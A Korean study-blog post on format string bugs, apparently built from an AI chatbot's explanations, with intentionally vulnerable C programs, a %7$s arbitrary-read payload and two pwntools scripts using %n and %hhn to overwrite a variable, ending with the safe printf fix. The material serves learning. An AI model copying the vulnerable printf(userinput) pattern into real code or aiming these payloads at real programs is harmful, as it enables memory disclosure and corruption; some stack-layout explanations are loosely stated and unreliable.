Study/System

FSB(Format String Bug)

imaginefuture-1 2025. 4. 12. 22:50

 

 // Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c

#include <stdio.h>

int main() {
  int num;
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  return 0;
}

 

오~ 이거 좋은 질문이야. Format String Bug (FSB)의 핵심 개념 중 하나를 찔렀네? 👀
이 코드에서 말하는 *"인자의 개수의 범위 내인지 확인하지 않는다"*는 말은, printf가 네가 몇 개의 인자를 넘겼는지 확인하지 않고, 니가 format string 안에서 뭘 참조하든 그냥 무조건 메모리에서 꺼내다 쓴다는 뜻이야.


🔍 예제로 해석해보자:

printf("%2$d, %1$d\n", 2, 1);
  • %2$d → 두 번째 인자 1
  • %1$d → 첫 번째 인자 2

그래서 출력은:

1, 2

여기까지는 정상 동작이지.


❗ 근데 문제는 뭘까?

printf는 너가 넘긴 인자보다 더 많은 파라미터를 참조하더라도 막지 않아!

예를 들어:

printf("%10$d\n", 999);

이러면? 난 하나만 넘겼지? 근데 %10$d는 10번째 인자를 달라 해.

👀 이 경우 printf는 스택에서 10번째에 있는 쓰레기 값을 그냥 가져다가 출력해버림.

에러도 없고, 경고도 없음. 그냥 주는 대로 뽑아냄.


📌 왜 위험하냐?

  • 우리가 "%x %x %x" 이런 식으로 무작정 써서,
  • 스택에 있는 정보들 (예: return address, libc 주소, 변수 값)을 줄줄이 읽을 수 있고,
  • 나아가 "%n" 같은 걸 쓰면 스택에 있는 주소에 값을 쓸 수도 있음 → 이것이 FSB 익스의 핵심이자 무기 💣

💬 결론적으로

printf는 format string에 뭘 적든 인자의 개수나 범위를 확인하지 않고, 니가 %999$d라고 쓰든 뭐든 그냥 스택에서 꺼내 씀
→ 이게 바로 취약점으로 이어지는 핵심적인 특성!


궁금한 부분 더 파줄까? 혹은 실제 FSB 익스포잇 흐름도 같이 볼까? 😎

 

 

 

// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c

#include <stdio.h>

char *secret = "THIS IS SECRET";

int main() {
  char *addr = secret;
  char format[0x100];

  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;

 

 

 

 

 

 

좋아, 이거 정말 중요한 포인트라서 차근차근 설명해줄게. 특히 "왜 %7$s 하면 secret이 출력되냐"는 질문은 FSB AAR(Arbitrary Address Read)에서 가장 핵심적인 감각이거든! 😎


🔍 TL;DR 먼저 요약하면:

  • printf(format)에서 format 안에 %7$s가 들어있다면,
  • 스택 상의 7번째 인자를 문자열 주소로 간주해서 그 메모리 내용을 출력함
  • 그리고 바로 그 7번째 인자 위치에는 secret의 주소값이 있음
  • 따라서 %7$s는 secret이 가리키는 "THIS IS SECRET"을 출력해버림! 🎯

🔧 정확한 구조 분석

이걸 이해하려면 다음을 정확히 파악해야 해:


📌1. printf()는 스택에서 인자를 가져간다

printf(format);

이건 보통 C에서 컴파일되면 실제로는 printf("%7$s", secret); 같은 형태로 만들어지진 않지만, 내부적으로 스택을 통해 format string 뒤에 있는 인자들을 그대로 가져다 씀.


📌2. main()의 지역 변수 구조 (Disasm 기반)

char *addr = secret;       → [rbp-0x118]
char format[0x100];        → [rbp-0x110] ~ [rbp-0x10]

즉,

rbp-0x118   ← addr (즉, secret의 주소)
rbp-0x110   ← format 시작 주소

→ 사용자가 입력한 format string은 format이라는 지역변수에 저장되고

→ 마지막에 printf(format)을 호출함으로써 그 내용을 직접 format string으로 씀


📌3. 그럼 printf는 인자들을 어디서 찾나?

  • format string에 있는 %1$p, %2$s, %3$d 같은 포맷들은
  • rsp 기준으로 쌓여 있는 인자들을 순서대로 가져옴

예)

[rsp + 0x00] : return address  
[rsp + 0x08] : old RBP  
[rsp + 0x10] : 첫 번째 argument  
[rsp + 0x18] : 두 번째 argument  
...

printf에서 %7$s는 → [rsp + 0x38] (7번째 8바이트 공간)에 있는 값을 "주소로 간주"해서 그 주소에 있는 문자열을 출력하라는 뜻!


✅ 그럼 왜 7번째인가?

  • printf()는 호출될 때 기본적으로 여러 개의 값을 푸시하고
  • 지역 변수들 (addr, format)도 스택에 저장됨
  • 이때 addr = secret; → secret의 주소가 스택 어딘가에 저장됨
  • 실제로 rbp-0x118에 secret의 주소가 있으니까
  • 스택 기준으로 보면 대충 7번째 위치쯤에 그 값이 있음 → %7$s로 접근 가능! 🧠

📌 실제 예시로 다시 요약하면:

char *addr = secret;      // addr = 0x404010 (secret 주소)
  • 이게 스택의 7번째 인자로 스며들어 있음
  • %7$s → *(0x404010) → "THIS IS SECRET"

🔚 그래서 공격 흐름은?

입력:   "%7$s"
결과:   THIS IS SECRET

이게 바로 Format String Bug로 **任意 주소 읽기 (AAR)**를 해내는 아주 간단하고 강력한 예야 💣


궁금한 점 있으면 이 흐름에서 더 파줄 수 있어!
원하면 스택 메모리 구조 텍스트 그림으로도 그려줄게 😊

 

 

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  printf("Secret: %d", secret);

  return 0;
}

 

#!/usr/bin/python3
# Name: fsb_aaw.py

from pwn import *

p = process("./fsb_aaw")

p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

 

 

 

 

좋아, 이건 Format String Bug (FSB)를 Arbitrary Address Write (AAW**) 공격으로 활용하는 대표 예제야! 특히 %n을 이용한 고전적 쓰기(Write)를 다루지. 하나씩 분석해보자!


✅ 목표

int secret;  // 전역 변수
  • 이 secret 변수의 값을 31337로 만드는 것이 목표야.
  • 방법: printf()의 %n 포맷을 활용해서 지정한 주소에 원하는 값을 써넣는 것!

🔥 핵심 공격 아이디어

✴️ %n의 의미:

  • printf("abc%n", &x); → 지금까지 출력한 문자열 길이만큼의 정수가 &x 주소에 저장됨
  • 예: "A"*10 + %n → 메모리에 10이 써짐

📌 Exploit 코드 분석

fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)

🔍 이게 무슨 뜻이냐면:

  1. %31337c:
    • printf()가 총 31337개의 문자를 출력하도록 만든다
    • 주로 스택 카운터만 쌓는다. (공백이나 'A' 같은 것 출력)
  2. %8$n:
    • 스택의 8번째 인자를 printf()가 주소로 인식하고, 거기에 지금까지 출력한 문자 수 (31337)를 정수로 써버림!
  3. .ljust(16, b'a'):
    • 전체 포맷 스트링을 16바이트로 정렬, 뒤에 붙일 주소값의 정렬을 위해 공간 확보
  4. + p64(addr_secret):
    • printf()의 8번째 인자 역할을 할 주소 (secret의 주소)를 스택에 뒤에 붙여서 올려주는 것

💡 전체 흐름 정리

Step 설명

1 포맷스트링을 통해 31337문자를 출력함
2 printf가 스택 8번째 인자를 int *로 간주하고 그 주소에 31337을 씀
3 스택 8번째 인자 = 우리가 마지막에 붙여준 secret 주소
결과: secret = 31337 🎉

📦 메모리 구조 요약 (텍스트로)

----------------------------
|       format[0x100]      |
| "A"*31337 + "%8$n"       |
----------------------------
|   addr of `secret`       |  ← 8번째 인자 (스택 기준)
----------------------------

🧪 실제 실행 결과

$ ./fsb_aaw
Address of `secret`: 0x60104c
Format: AAAAAAAAA...%8$n (스택 인자 = 0x60104c)
Secret: 31337

📝 정리

  • %n = 지금까지 출력한 문자열 길이를 특정 주소에 int로 써줌
  • 포맷 스트링에 %c를 왕창 써서 원하는 숫자만큼 출력
  • 스택 8번째 인자로 원하는 주소 (&secret)를 넣어 31337을 씌움

궁금한 거 더 있어? %hn, write-what-where, partial write도 있어! 🔥

 

 

#!/usr/bin/python3
# Name: fsb_aaw_deadbeef.py

from pwn import *

p = process("./fsb_aaw")

p.recvuntil(b"secret: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
fstring = fstring.ljust(64, b'a')
fstring += p64(addr_secret) # %14$n
fstring += p64(addr_secret + 1) # %15$n
fstring += p64(addr_secret + 2) # %16$n
fstring += p64(addr_secret + 3) # %17$n

p.sendline(fstring)
print(p.recvall())

 

 

 

ㅋㅋㅋㅋ 진짜 그거 궁금할 수밖에 없지! 왜 이 바닥 사람들은 **맨날 0xdeadbeef**만 쓰는가?


🧠 이유는 간단해:

✅ 1. 눈에 잘 띄는 마법의 값

  • 0xdeadbeef는 16진수로 봐도 영문자로 보이는 단어가 돼:
  • deadbeef → "dead beef" ㅋㅋ
  • 디버깅할 때 딱 보면 바로 눈에 띔
  • 스택, 힙, 메모리 어디에 박혀 있어도 "DEAD BEEF"는 튀어나오니까 트레이싱에 유용함

✅ 2. 실제 프로그래밍에서 더미 값으로 많이 씀

  • 초기화하지 않은 포인터, 해제된 메모리 주소 등에 넣어두는 "개발자용 시체표시"
  • 예전에는 커널 크래시 덤프에도 쓰였고,
  • Windows, macOS, Linux, Android 디버깅 때도 자주 봐
  • 메모리 오염/덮기 테스트에도 많이 써

✅ 3. 해킹/CTF에서는 상징적 의미

  • 0xdeadbeef = "내가 컨트롤했다"는 시그니처!
  • 0x41414141 (AAAA)만큼 자주 나오는 익스플로잇 마커
  • 특정 주소를 덮었을 때 이 값이 보이면 "오~ 잘됐네?"하고 확인할 수 있음

💡 그럼 이 익스플로잇 코드는?

fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
  • hhn은 1바이트만 씀 → 한 바이트씩 0xEF, 0xDE, 0xBE, 0xAD를 각각 4바이트에 나눠 씌우는 것
  • 주소는 순서대로 addr, addr+1, addr+2, addr+3 넣음
  • 최종적으로:그래서 → 0xdeadbeef가 메모리에 박힘!
  • *addr = 0xef *(addr+1) = 0xde *(addr+2) = 0xbe *(addr+3) = 0xad

🧠 보너스: CTF 커뮤니티에서 자주 쓰는 마법 값들

값 의미

0x41414141 "AAAA" – Fuzzing, 패딩, 익스플로잇 시그니처
0xdeadbeef 죽은 소고기 ㅋㅋ / 유령 값
0xcafebabe Java class magic number
0x1337 leet(=elite) – 해커들 놀이 숫자
0xabad1dea "A Bad Idea" ㅋㅋ 재치 있는 크래시 값

재밌지? 사실 진짜 이 바닥 유머와 실용성의 정수가 deadbeef야 😎

더 궁금한 값 있어?? 숫자들마다 다 배경 있음 ㅋㅋ

 

 

좋아 좋아! 이 문제 완전 FSB (Format String Bug)의 핵심 개념 콕 찝어주는 거라 짚고 넘어가면 앞으로 실수할 일 없을 정도로 깔끔히 정리해줄게 😎


💥 Q1. 문제 핵심 요약:

char userinput[0x20] = {0,};
scanf("%31s", userinput);
printf(userinput);  // ❌ 위험

🧨 왜 printf(userinput);는 위험할까?

🔥 포맷 스트링 취약점 (Format String Vulnerability)

  • printf()는 첫 번째 인자 문자열을 해석하려고 해: 예:
  • printf("%s", userinput); // 사용자 입력을 문자열로 출력 printf(userinput); // 사용자 입력이 포맷 문자열로 "해석"됨
  • 문제는 userinput에 이런 게 들어오면:→ 메모리 주소에서 값들을 무작위로 출력해버림.
  • %x %x %x %x

📌 그러면 어떻게 바꾸면 안전한가?

✅ puts(userinput);

  • puts()는 입력을 포맷으로 해석 안 함
  • 그냥 문자열 통째로 출력만 함 (끝에 자동으로 \n도 붙여줘)
  • 📌 가장 안전하고 간편한 방식

✅ printf("%s", userinput);

  • "%s"는 포맷 문자열이고,
  • userinput은 그에 대응하는 실제 값
    → 이건 printf()가 정해진 방식으로만 출력하니까 안전

❌ printf(userinput);이 왜 위험한지 예시

예를 들어 사용자가 이렇게 입력한다고 해봐:

"%x %x %x %x"

그럼 실행 시:

printf(userinput);
// → 해석됨: printf("%x %x %x %x"); 와 같아짐

💀 결과:

  • 스택에 있는 임의의 값을 막 출력해버림
  • 더 심하면 printf("%n") 같은 걸 써서 메모리도 덮어씀 → RCE까지 가능 😨

🎯 요약!

방법 안전? 설명

printf(userinput); 사용자 입력이 포맷 문자열로 해석됨 (FSB 발생 가능)
printf("%s", userinput); 고정된 포맷 문자열 사용, 안전
puts(userinput); 문자열 해석 안 하고 출력만 함, 안전

궁금한 포인트 또 있으면 더 파볼까? 예: %n이 왜 위험한가, scanf도 위험할 수 있는가 등등 🤓